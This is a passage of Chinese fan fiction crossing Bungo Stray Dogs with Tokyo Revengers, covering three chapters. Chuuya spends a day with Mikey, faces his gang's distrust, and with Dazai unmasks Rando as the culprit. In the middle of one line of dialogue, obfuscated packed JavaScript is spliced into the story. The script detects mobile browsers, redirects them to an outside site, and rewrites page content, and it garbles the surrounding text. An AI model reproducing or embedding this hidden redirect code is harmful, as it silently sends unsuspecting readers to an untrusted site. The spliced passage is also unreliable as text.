“前代究竟是不是复活,我说不好,也许是我看错了。我不相信死人可以复活,就算是神明也做不到那种事,但是,我又确实看到站在街上的前代。这件事困扰着我……太宰君,中也君,如果你们能查出事件的真相,我很感激。” 太宰治和中原中也专心听他讲完,都没有立刻发表意见,而是陷入了思考。 他们一个躺在床上滚来滚去,一个站在床边,若有所思地垂下眼。 佐野万次郎则盘腿坐在床上,好奇地看着他们两人。 过了一会儿,太宰治顶着一头凌乱的头发,坐起来说:“我知道了。” 其他人都看向他,不明白他的意思。 太宰治也没有想解释,而是拉上中原中也就打算告辞。 “今天很感谢你们,兰堂先生,Mikey君,我想我们已经找到了事件的真相,”他说着,打开了卧室的门,拉着中原中也出去,“那么,我们现在就告辞了。” 19、第十九章 回到“羊”的领地后,大家的态度变得很奇怪。 中原中也知道他们变得奇怪的原因,可是不能多做解释。 他没办法向大家坦白执着调查“荒霸吐”的理由,也担心这些人会不会理解。 如果事情不是发生在自己身上,他也会觉得很荒谬。 怎么会有人相信一个不知是存在还是不存在,不知道是神明还是怪物的东西,而且认为自己的身世和那个东西脱不了关系呢。 就算中原中也是在“荒霸吐”第一次出现在研钵街时被捡到的,那时的他行为举止也确实不像正常人,给人一种以前都生活在隔绝人烟地方的感觉。 但“羊”的同伴里捡到中原中也的一个叫做白濑的男生,坚持中原中也肯定是在爆炸中被炸傻,以前的东西全都忘掉了,傻之前肯定是个普通人,只是失忆才会显得不那么正常,没那么多奇怪复杂的身世。 中原中也刚加入“羊”,“羊”还不叫现在的名字,也没有现在的规模。 那时他们顶多是十几个无家可归的孩子抱团互帮互助的小团体,互相之间都很熟悉,所以能给予对方信任。 中原中也的加入遭到了一部分人的反对,他们认为中原中也是不知道哪里来的奇怪的人,说不定会给大家带来危险。 “他是陌生人哎,自己都不知道自己是谁,不要让他加入啦。” 中原中也无法反驳他们的话,也明白他们说的有道理。他确实不知道自己是谁,会不会有敏感的身份。 当时的他能听懂别人讲话,可自己说话不太利索,连为自己辩解都做不到。反对他加入的成员见了,更加认为让他走才是对的。 小团体的领头人白濑抚一郎阻止了他们的发言,对反对的人说,中原中也不是奇怪的人,只是暂时失去了记忆。 他问那些人,我们组成团体的理由组是什么?不是想要帮助和我们一样无处可去的孩子吗? 正因为我们无处可去,很难在大人的世界中生存,所以才聚在一起,帮助别人的同时壮大自身的力量。 现在有了需要我们帮助的孩子,我们却因为觉得他可疑,把他拒之门外,这样是正确的吗? 今天我们可以拒绝这个孩子加入,明天也可以因为其它原因拒绝别的孩子加入,反正只要抱着保全自己的心态,把所有有可能带来麻烦的人通通拒之门外。 那我们的团体永远不可能发展起来,我们也只能像现在这样,在大人掌握权力的世界中像老鼠一样躲藏着生存。 躲着确实很安全,可这是你们想要的?他的质问让反对中原中也加入的成员抬不起头来。 多亏白濑抚一郎站出来为他说话,中原中也得以加入。 最开始还是有人不认同他,但是随着相处时间的增加,他得到了同伴的信任,被推举为“羊”的首领。 如今的“羊”已经不是捡到中原中也时只有十几个人的小团体,它变得庞大,也拥有了以前难以想象的权力和地位,甚至可以和满是大人的组织对抗。 可是随着成员的增加,大家的心思变得复杂,中原中也慢慢地不能理解他们了。 有很多事情也无法向他们坦白。 前一天,中原中也和太宰治从兰堂的住址离开。 走在回去的路上,中原中也一直追问太宰治“我知道了”的意思。 什么找到了真相,他还什么都不知道呢,而且要是知道了真相,不应该立刻把制造这些事件的犯人抓起来吗? 太宰治用看可怜虫的眼神看着他,“中也还真是单纯,抓捕犯人,现在可不是时候。” 中原中也让他说清楚,太宰治不回答,而是加快了脚步,后面几乎变成了往前跑。 比跑步他当然比不过中原中也,中原中也轻易抓住他,逼问他事情的真相。 太宰治没办法,说要是中原中也能赢过自己,就把自己知道的都告诉他。 他们去了游戏厅,不巧的是,在那里遇到了“羊”的成员。 中原中也帮黑手党做事的消息传了出去,同伴的心中本来就很不安,太宰治又很恶劣的对他们说了多余的话。所以回去之后,大家都用欲言又止的眼神看着中原中也。 即使中原中也找机会召集了“羊”最开始的成员,对他们保证为黑手党办事只是一时的,他没有抛弃大家加入黑手党的意思,那些人也只是用“诶……”的表情看着他。 每个人的心中都充满了怀疑,有些甚至表现在了脸上。 中原中也感受到了不妙,他察觉到大家的心在动摇,但无论他怎么保证,大家都是一副无法完全信任你的样子。 这是没办法的事,因为中原中也对“羊”来说太重要了。 说到最后,白濑抚一郎带着笑容拍拍中原中也的肩膀,留下一句“我们当然信任你了,中也”,然后率先走掉。 其他人见他走了,也跟了上去,房间里只剩下中原中也一个人。 嘴上说着我们信任你,脸上全是不被信任的表情。 组织的人心散了是很严重的情况吧? 该怎么办?中原中也一个人在房间待了许久,他不知道,他作为首领,怎么样才能挽回这一切? 或许他只是被推到了那个位置,根本不具有统领组织的能力。 今天一大早,中原中也就起来了,他没有和同伴一起吃早饭,只和负责执勤的人打了个招呼,一个人走出了“羊”的领地。 手机没有收到消息,太宰治没联络他,不知道港口黑手党是不是抓住了犯人。 中原中也和太宰治一起行动的前提是港口黑手党抓了“羊”的成员,前一天的游戏厅里,太宰治命人释放了那些成员,他们昨天晚上就回到了领地。 所以他也没有再和太宰治一起行动的理由了。 中原中也不知不觉地走到了靠近海的马路上。 宽阔的马路一边是山壁,一边是用水泥和砖头浇筑的护栏,护栏的另一边则是大海。 他感受着清晨的海风吹在身上,不服输地想,太宰治只是口头上说他知道犯人是谁。 只要他没抓到犯人,那自己还有赢过他的机会。 这么想着心情都变得愉快了,中原中也的头发被一阵接一阵袭来的海风吹乱。 清晨的路上只有偶尔经过的货车,他走在白线的里面,就当在散步。 没有拿出手机,所以不知道走了多久,他看见前面路上停着一辆摩托车。 看起来相当帅气。 中原中也一直很喜欢摩托车,只可惜之前没机会接触。 “羊”不是富裕的组织,成员又多是小孩子,组织的资金大部分都用于购买生活物资和武器上,就连中原中也这个首领,可以支配的钱都很少。 停在路上的那辆摩托车不是随处可见的普通款式,中原中也看出它应该接受过改装,整体是黑色的,车身上有巨大的“卍”的标识,大小算是中型,发动机的话—— 他想凑近去看,靠得越近,越觉得是辆好车。 改装这辆车的人手艺肯定很好。 中原中也观察着摩托车的发动机,沉浸在以后买一辆怎样的摩托车的幻想里,想得正起劲,突然听到一道熟悉的声音。 “很帅吧?” 有人带着笑意问他。 中原中也抬头,看见马路的护栏上,佐野万次郎坐在那里,偏头冲他一笑。 看见中原中也看过来,他指了指车身上的标识,说:“这辆车是我大哥送的,作为十五岁的生日礼物。” ———— 中原中也和他一起坐在护栏上,看着不远处的海面。 护栏的宽度足够他们两个坐在上面。 佐野万次郎的重心放在支起来的一条腿上,另一条腿垂在护栏外面,他轻轻哼着一首中原中也没听歌。 周围只有偶尔车辆经过的声音和海浪翻涌上岸的声音。 “你在唱什么?”中原中也问他。 佐野万次郎惊讶地说:“中也没听过吗?” “没有。” “我唱的是《假面战队doctor》的主题曲啊,我们这个年纪,看过最多的特摄电视剧就是它了吧。” “我连特摄电视剧都没看过。” “怎么会!中也是外星人!” 佐野万次郎大惊失色,捧着中原中也的脸看来看去,好像想找出外星人披着地球人外衣的证据。中原中也掰开他的手,无语道:“没看过特摄电视剧就是外星人了,我身边的人都没看过。” “那你们的童年多无聊啊,不过中也,现在看也不晚,要不和我一起看,”佐野万次郎不放过任何一个增加同好的机会,“我最喜欢《假面战队doctor》了,小学二年级的时候,每天放学都会用最快的速度跑回家,和朋友还有大哥一起看。” 中原中也看着他的侧脸,问:“你说你的摩托车也是你大哥送的?原来你有哥哥,我还以为你的家人是黑手党的首领。” “森亲是我的监护人,我家里有爷爷,大哥,还有一个妹妹。” 佐野万次郎认真地告诉他。 “我的父母很早就去世了,爷爷年龄很大,身体不好,没办法照顾我,老家的亲戚在帮忙照看妹妹。大哥不知道在外面忙些什么,他把我推给森亲照顾,所以我才在这里。” “原来是这样,”中原中也说,“可你大哥特意送来生日礼物,还是很关心你的吧。” 佐野万次郎不高兴地说:“每次大哥都会送礼物,但一次没来看过我,也没回家看过爷爷和妹妹。” 中原中也:“可能……工作太忙了?” “最好是这样,虽然不知道他在做什么工作,”佐野万次郎挥挥手,“不聊他了,中也,你怎么一个人在外面走,没和太宰在一起吗?” “为什么我一定要和他绑定在一起!” 佐野万次郎看他生气,试探着回答:“因为,你们是一起调查的搭档?” 中原中也别过脸,“我们两个已经散伙了。” “好可惜呀,组合成立还没多久。” “别把我们两个说成好像是漫才组合一样的团体。” 中原中也想起太宰治和“羊”的事情就满心烦闷,他岔开话题,“mikey你呢,你怎么一个人在这?” 佐野万次郎看着海面出神,他轻轻地说。 “我刚才参加了一个朋友的葬礼。” 中原中也没想到会说到这边,“啊,对不起。” “不需要说‘对不起’,那个人是港口黑手党的叛徒,还是我看着他死掉的。” 中原中也猜测,“难道和前代首领的事有关?” 佐野万次郎没有回答这个问题。 “港口黑手党的规矩是叛徒要处于极刑。”停顿了几秒钟,他说:“那个人原本不应该举办葬礼,但我向森亲要走他的尸体,受到他照顾的人自发为他举办了简单的葬礼,就在今天早上。我亲眼看着那个人死掉,他死之前却没有责怪我,让我的心情很复杂……为什么他在死之前,还在冲我道歉呢?” 中原中也安慰道:“他的背叛是他自己的行为,跟你没有关系。” 佐野万次郎望向远处的海面,眼睛里一片冷意,“……要是没有关系就好了。” “什么?” “没什么。”佐野万次郎说。 他看向中原中也,问:“中也看着心情也不太好,发生了什么吗?” “我……” 中原中也张了张嘴,没出声。 佐野万次郎盯着他的眼睛,突然站了起来,跳下护栏。 他从摩托车上拿起一个头盔,扔给中原中也。 中原中也捧着头盔看他,“怎么了?” “陪我去玩。” 佐野万次郎戴好了头盔,把中原中也从护栏上拉下来,拉到摩托车旁边。 他指着摩托车问:“你会骑车吧,中也?” 20、第二十章 摩托车行驶在横滨的街道上。 中原中也驾驶着摩托车,不断加速,佐野万次郎坐在他的后面,把脑袋埋在他的背后。 他感觉这个人的头一点一点,好像快要睡着了。 谁会坐在摩托车的后座睡觉,那不是很危险吗! 中原中也拿他没办法,放慢了速度。 速度一慢下来,佐野万次郎立刻就醒了。 他用带着困意的声音说:“中也骑得好慢啊。” 中原中也毫不留情,“那要怪你。” 佐野万次郎笑着给他指路,摩托车行驶进了繁华的商业街,找个地方停车,中原中也被他拉进一家电玩城。 “我们来这里做什么?” 中原中也站在电玩城门口,看着上面的招牌。 佐野万次郎在机器上兑换游戏币,“昨天你和太宰去游戏厅玩,都没叫我。” 中原中也辩解,“我们两个不是去玩,是去分出胜负。” 佐野万次郎拿起装满游戏币的小筐,问他,“那你们在游戏厅做了什么事?” “打游戏。” “你看,还不是在玩!” 佐野万次郎一边说着“今天中也陪我”一边拖他进去,中原中也阻止不了,然后跟他进了电玩城。 他一进电玩城直奔抓娃娃的区域,趴在玻璃橱窗上看里面的玩偶,对中原中也说:“我想要这个。” 中原中也看了看他指着想要的玩偶,很大一只,长得怪模怪样。 抓娃娃机的看板上写着《假面战队》联动玩偶。 “是你喜欢看的那个,特摄连续剧的玩具?”他问。 佐野万次郎点头,“其他的我都有,就差这一只没抓到。上次和太宰一起来,他还嘲笑我抓娃娃技术太差,所以这次我一定要抓回去。” 中原中也哪里来过这个区域,他每次去电玩城,都会奔向电子游戏格斗区。 他不自在地左右看。 他们的左边是一群女高中生,右边是一对情侣。 “mikey,”中原中也靠近他,小声说,“这地方不适合我们两个同龄男生来玩吧!” 佐野万次郎举起框子放到他头顶,“没事没事,不要在意别人的眼光。” 说完,他从框子中拿走一把游戏币,塞进机器的投币口,握住手柄开始努力。 中原中也站在他身后看他玩。 太宰治说得没错,佐野万次郎抓娃娃技术属实算不上高超。虽说这里面也有一部分机器的问题,但隔壁的女高中生都抓出三只玩偶了,他用光了半篮子游戏币,才抓出来一只,抓到的还不是他想要的那只。 “可恶!” 佐野万次郎全神贯注盯着里面的娃娃,发出不甘心的声音,完全忘记还有一个中原中也在他身边。 重复的娃娃佐野万次郎不需要,中原中也就把它送给了围观的小女孩,小女孩抱着娃娃对他道谢,牵着妈妈的手走了。 佐野万次郎花完了一篮子的游戏币,只抓到四个重复的娃娃。 中原中也听边上的玩家说他每次抓到都是保夹,也就是没抓到的次数太多,累计到一定数量机器的爪子一定会让他抓住。 这是真的技术很差了。 佐野万次郎技术差还不甘心,他往游戏币兑换机器的方向走去,想再兑一篮游戏币。 中原中也拉住他,拿出手上的最后一枚游戏币,投入抓娃娃机,简单地操作了几下,佐野万次郎想要的娃娃就从洞口掉了出来。 “中也,你好厉害。” 佐野万次郎抱住那只在他眼里长相奇怪的玩偶,冲他道谢。 两个人在电玩城玩到中午,尝试了不少以前中原中也没玩过的游戏。差不多到了午餐时间,佐野万次郎说他请客,有一家推荐的店,把中原中也带到一家快餐店。 中原中也听到他的推荐,点了和他一样的蛋包饭。 服务员端上蛋包饭,两份上面都插着小旗子。中原中也嫌弃地拔掉,佐野万次郎没有取下小旗子,就这么拿着勺子吃起来。 他们面对面地坐着,半人高的假面战队玩偶坐在佐野万次郎身边,占了一个位置。佐野万次郎抓到的另外几只玩偶体型小一些,全部挤在中原中也身边,中原中也把它们当成靠垫,压得扁扁的。 中原中也早上起来就没吃东西。 他原先没胃口,和佐野万次郎玩了半天,胃口奇迹般地恢复了。 佐野万次郎才吃到一半,中原中也面前的盘子都空了。 “今天谢谢你。” 中原中也再迟钝也能看出,佐野万次郎拉着他出来玩,是察觉他心情不好想哄他开心。 在外面玩了一通,他的心情确实变好了。 好心情没有持续多久,中原中也正看着佐野万次郎吃饭,脑袋里回想前一天兰堂说的话时,几个人挡在他们面前,为首的男生拍了一下桌子。 “中也,我们找了你半天,你怎么在这里吃饭!” 中原中也看向他们,来者是“羊”的同伴,为首的男生就是白濑抚一郎,也是最开始捡到中原中也的人。 他有点头痛。 最近是不是运气不好,怎么每次和别人在一起,都会被这几个人撞见。 “有什么事吗,我出门前和执勤的人打过招呼。” 白濑抚一郎瞪着他,“你还问我们出了什么事,我们才要问你出了什么事,你是真的要加入港口黑手党,抛弃我们了?” 中原中也说:“我一直说只是误会,没这回事吧。” 几人里的女生说:“可是——”还没说完就被白濑抚一郎打断了。 白濑抚一郎看向坐在中原中也对面的人,问道:“你今天没跟港口黑手党在一起啊,这个人是谁?” 中原中也看看佐野万次郎,不知该怎么介绍。 要说实话,佐野万次郎确实是港口黑手党。 可昨天太宰治才对他们说了不好的话,中原中也如实回答,告诉“羊”的同伴这位也是港口黑手党,不是相当于往火上浇油吗? 白濑抚一郎见他不说话,警惕道:“这个人不会也是港口黑手党吧!” 中原中也无奈地说:“白濑,你小声一点。” 正值饭点的餐厅到处都是人,在这大喊港口黑手党会引起别人注意。 中原中也的本意是希望他低调一些,毕竟前段时间“羊”因为不低调惹上港口黑手党而招来了麻烦。 白濑抚一郎却把他的话当成对疑似港口黑手党人物的维护,火气更大了,“中也,你怎么帮黑手党说话,果然你更想去他们那边……” “港口黑手党是什么,你们又是什么人?” 佐野万次郎突然开口问道。 中原中也和其他人一起看着他,他不耐烦地看向打扰他吃饭的几个人,说:“你们几个真奇怪,跑到别人面前说听不懂的话。” 白濑抚一郎呆呆地问:“你,你不是港口黑手党?那你怎么和中也在一起。” “我都不知道港口黑手党是什么,”佐野万次郎说,“我和中也在一起,当然因为中也是我的朋友啊。” 朋友? 中原中也对他说出的话感到意外。 昨天他和太宰治一起碰到大家,太宰治特意爆出港口黑手党的名号,要不是那家伙做了多余的事,“羊”的成员也不会像现在这么紧张。 把佐野万次郎放在一样的情况下,这个人居然会为了他说谎。 以白濑抚一郎为首的几个人陷入了混乱。 “不是港口黑手党?”“看着也不像。”“黑手党里不会全都是小鬼吧,我一看他就觉得不是了。”“那你不早说。” 他们几个人七嘴八舌地争论起来。 最后还是推白濑抚一郎出来说话,“你说你是中也的朋友,我没有见过你。” “我也没有见过你们,”佐野万次郎淡定地说,抬头看着他们,“你们也是中也的朋友?” “对!”白濑抚一郎说。 佐野万次郎打量着这几个和自己年龄相仿的孩子,露出笑容。 “中也的朋友也是我的朋友,你们吃过饭了吗?没吃过和我们一起吃吧,今天我请客。” 几个人看看他,又看看没反对的中原中也,觉得眼前的人还挺好相处,答应了下来。 “那,谢谢你?” 佐野万次郎摇头,“不用客气,毕竟你们是中也的朋友。” 快餐店点单需要去前台,等他们几个走远了,中原中也再次向他道谢。 “没关系,要是和他们产生了误会,中也会头疼吧,”佐野万次郎拿起勺子,继续吃饭,“那几个人就是你的同伴吗?” 21.第二十一章 中原中也望向那几个人的背影,说:“他们是‘羊’最开始的成员,也是收留了无处可去的我,对我有恩情的人。” “唔……”佐野万次郎思考了一下,“也就是说,他们是中也的家人?” 中原中也为难,“可以把他们称为家人吗?” 佐野万次郎说:“我觉得是可以的,你们相处了这么长的时间,没有别的亲人,就相当于家人了吧,我也会勉强把森亲当作家人哦。” “那是因为你们两个关系好。” “中也,你羡慕的话就和我互换吧。” “我才不要,那不就天天得见到太宰了。” “关注点居然是这边,森亲会哭哦。” 佐野万次郎拍了拍旁边玩偶的头,又说:“他们好像不太信任你。” 中原中也神色僵硬地说:“别说的这么直白啊,Mikey。” 佐野万次郎歪头,不觉得自己说错了话。 “要是换做以前,我一能说出我和他们就是家人,我们是互相信任着的这种话吧,”中原中也垂下脑袋,“但现在说不出来了,因为我知道,他们的内心很不安。” 他紧接着说:“但他们会感到不安,也是我的问题。” 佐野万次郎捏着玩偶的手臂,懒洋洋地说:“中也,别把问题都揽到自己身上。就算有你的问题,所占的比例也很小,大部分都是太宰和他们的问题。” “你听说昨天的事了啊?” 佐野万次郎点头,“昨天在森亲那里碰到太宰,他告诉我的。” 中原中也注视着他的眼睛,良久以后,又把头低了下去。 “太宰对他们说的话只是一个引子,我无法得到他们的信任,确实是我的问题。” 佐野万次郎撑着脑袋,“中也对自己的要求真高。” 中原中也问:“这算高吗?” 佐野万次郎理所当然地说:“当然很高了,同伴之间互相信任不是所有人都应该做到的吗?” 中原中也听完先是一愣,随即失笑,“你真是在某些地方意外强硬的人。” “本来就应该这么做,大家是同伴的话,”佐野万次郎淡淡地说,“无条件的信任对方,遇到困难时互相帮助,每个人都能为了别人拼命,这才是同伴吧?” 中原中也将目光投向远处的人,“对啊,这样才是同伴,”他说,“但是现在很少有人能做到这些了。” 他转头看着佐野万次郎,“Mikey,你有听过我的事吗?” 佐野万次郎想了想,“我在森亲的办公桌上看到过中也的资料。” “资料上最开头只会写我八岁加入‘羊’的事,八岁以前什么都没有,”中原中也说,“收集资料的人不会知道我八岁以前的事,因为我也不知道,我的记忆是从八岁开始的。” “中也失忆了吗?” “与其说是失忆,比如说我的记忆就是从八岁那天开始。” 中原中也说得很模糊,这样的话他对“羊”的同伴也说过。 不过同伴并不在意,他们觉得中原中也不恢复记忆也可以,只要中原中也还是现在的“中原中也”就足够了。 身世,记忆,对他们来说都不重要。 在中原中也出现之前,这些孩子光是活着就已经竭尽全力,没有思考其他东西的力气。 中原中也为他们的生活带来改变之后,他们更不愿意中原中也去追寻虚无缥缈的身世,把他们抛弃在身后。 所以中原中也就不再对他们说了。 “八年前……” 佐野万次郎陷入了思考之中。 中原中也本不期待他发表看法,没想到他真的在努力地想,还在想起什么后对自己说:“中也是研钵街发生爆炸后被‘羊’捡到的吧,兰堂也是倒在那个地方被前代老头子捡回去的,我记得前代老头子说过,嗯,应该也是八年前。兰堂还在那场爆炸中失去了记忆。” 他总结道:“你们两个的经历好像。” “你说什么?!”中原中也激动起来。 佐野万次郎重复,“我说,兰堂失去了记忆……?” 中原中也突然站了起来,说:“我知道了。” 佐野万次郎后退,“中也被太宰附体了?” “那个家伙虽然阴沉沉的,但他不是背后灵,”中原中也说,“我知道犯人是谁了。” 点完单的“羊”的几人正好走了回来,中原中也这一周的空位被玩偶占满,他们坐在旁边桌。 其中的女生拿起手机,对同伴说:“既然中也在这里,那么短信说的就是假的吧,还说中也为了庆祝脱离‘羊’加入黑手党举办了宴会,我要发消息骂这个骗子!” “你在说什么短信?”中原中也拦住她。 女生举起手机给他看,“就是这条短信,发到由友手机上的,说中也举办宴会邀请她去参加。” 她说的由友也是“羊”的成员,中原中也仔细看了那条短信,几乎是一瞬间就猜出了发短信的人是谁。 “太宰那个混蛋!” 怪不得“羊”的成员到处找他,原来是那家伙又干了缺德的事。 短信附带的地址是在横滨一处废弃的建筑,中原中也恨不得瞬间移动到那个地点,狠狠揍太宰治一顿。 佐野万次郎看出他的心思,主动说:“你就去吧,中也。” 中原中也看着他,“不好意思,丢下你过去。” “中也陪了我很久了,”佐野万次郎表情不变地说,“太宰恐怕是故意引你过去,有重要的事情要找你,中也,你要小心哦。” “我会的。” 中原中也往店门口走去,走到一半,他回头说:“今天谢谢你,Mikey。” 佐野万次郎注视着他远去的身影。 中原中也跨上摩托车,启动发动机,行驶进了道路里。 直到身影渐渐看不见了,他反应过来,才愤愤不平地说。 “中也,我只是让你走,没叫你把我的巴布也骑走!” ———— 中原中也赶到了短信上的地址。 从外面看只是普通的废弃建筑,杂草丛生,到处都很破败,看着很久没人光顾。 但就是这种地方,里面居然传出动感流行音乐。 中原中也把车停在外面,观察着建筑的外围。 太诡异了。 废弃建筑传出“呜呜——”的鬼叫才正常。 里面的人到底在干什么。 他干脆踢碎墙壁,闯了进去,在里面见到了太宰治和兰堂。 他们的手里拿着彩带和花球,像在布置宴会现场。 太宰治见他来了很高兴,得意地说:“中也,你来晚了,已经输掉了哦。” 他说的是中原中也和他打的赌,赌谁能先找出事情的真相,抓到犯人。 中原中也否认,“我才没输!” 太宰治说:“你就是输了,我比你先找到犯人。” 中原中也输给谁也不想输给他,“先找到犯人只是碰巧,有本事我们两个来比谁先抓到犯人!” 兰堂站在太宰治的身边一副状况外的样子,听着他们吵架,越听越不明白。 “太宰君,中也君,你们两个在说什么?” “兰堂(兰堂先生)先等等!” 中原中也和太宰治凑到一起,嘀嘀咕咕半天,争论怎么样才算赢。 “一般侦探剧里找到犯人的就算赢。” “可我们身边没有警察,找到犯人,你怎么把他带回去?” “中也比我晚一步才这么说。” “你只是占了离犯人比较近的便宜!” “中也真的要和我比抓到犯人?会吃亏哦。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16195590|178649||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是你会吃亏吧,你哪打得过犯人。” “中也,敢约见犯人的我会没有准备吗,我有对付犯人的秘密武器。” “我不需要秘密武器也能搞定。” 他们两个讨论的结果出来,一起看向兰堂。 兰堂被他们看得全身发冷,“两位,怎么了?” 太宰治微笑着说:“兰堂先生,我和中也决定把比赛内容改成谁先抓到犯人,谁就能赢得比赛。” 兰堂奇怪地问:“好的,但这和我有什么关系?” 中原中也冷漠地看着他,“当然和你有关系。” “因为,你不就是犯人吗。” 他们所站着的建筑室内到处都是彩带、花球、旁边还放着两台音响,正在播放青少年最喜欢的流行音乐。 随着歌曲副歌的高音落下,沉默的兰堂总算开口了。 “我?”兰堂露出无辜的表情,“怎么会是我呢?” 太宰治微微一笑,“我找到兰堂先生破绽的原因,可能会有点长,兰堂先生想听吗?”紧接着他看向中原中也,“中也好好听着吧,再学习一下,为你贫瘠的大脑增添养分。” “你给我闭嘴。”中原中也把他推到一边。 他抬起下巴,注视着兰堂的眼睛,“兰堂,你想知道我们为什么把你当成凶手?” 兰堂点头,“是啊,我不希望被泼上污水。” 中原中也冷淡地注视着他,好像在观察他究竟是什么人,“那我就告诉你吧。”他说。 “我知道你在说谎。你说见到了荒霸吐,其实你不可能见到他,他最近根本没有出现。” “中也君?” “你是八年前,和我一样,出现在这座城市的。你失去了以往的记忆,找不到过去存在的痕迹。你的失忆,是因为我吧?” 中原中也说:“或者,你也可以说,是因为‘荒霸吐’。” 兰堂的表情一下子有了变化。 “中也君,你这么说,莫非你就是……” “不是很明显吗,我就是荒霸吐。”中原中也说。 房间里迎来了寂静。 播放歌曲的音响被太宰治关掉了。 兰堂低头,长长的头发遮挡住了他的表情,使得其他人看不懂他此时心里在想什么。 中原中也看了一眼太宰治,奇怪的是,太宰治还是保持着刚才的微笑,没有因他的话露出震惊的表情。 “你好像很平静啊?”中原中也问。 “没有啊,”太宰治捂住脸,“什么,中也居然是荒霸吐,好吓人!我好怕!” “你这混蛋别装了!” “中也真难伺候。” 他们吵着架,兰堂突然笑出了声。 太宰治还是第一次听到他发出如此尖锐的笑声,错愕地看向他。 兰堂重复着一样的话。 “原来是这样。” “原来是这样。” “原来是这样。” 笑着笑着,他猛地抬头,冰冷地看向中原中也。 “中也君,可以麻烦你一件事吗?” 中原中也回望着他,“以犯人的身份?” “对,就是以犯人的身份,”兰堂用看将死之人的眼神看着他,“可以麻烦你去死吗,中也君。” 他散发出的气场镇住了在场的两名少年。 他们大脑里闪过同样的想法。 眼前的男人,还是他们认识的那个人吗? “中也,你有大麻烦了呢。” 巨大的危机之中,太宰治还有心情和中原中也说笑。 中原中也刚想骂他,建筑紧闭的大门被人推开。 有个人普通地走了进来,观察了一下房间的布置。看见他们三个都在,那名少年冲他们露出了一个笑容。 “你们在开派对吗,能不能加我一个?”他说。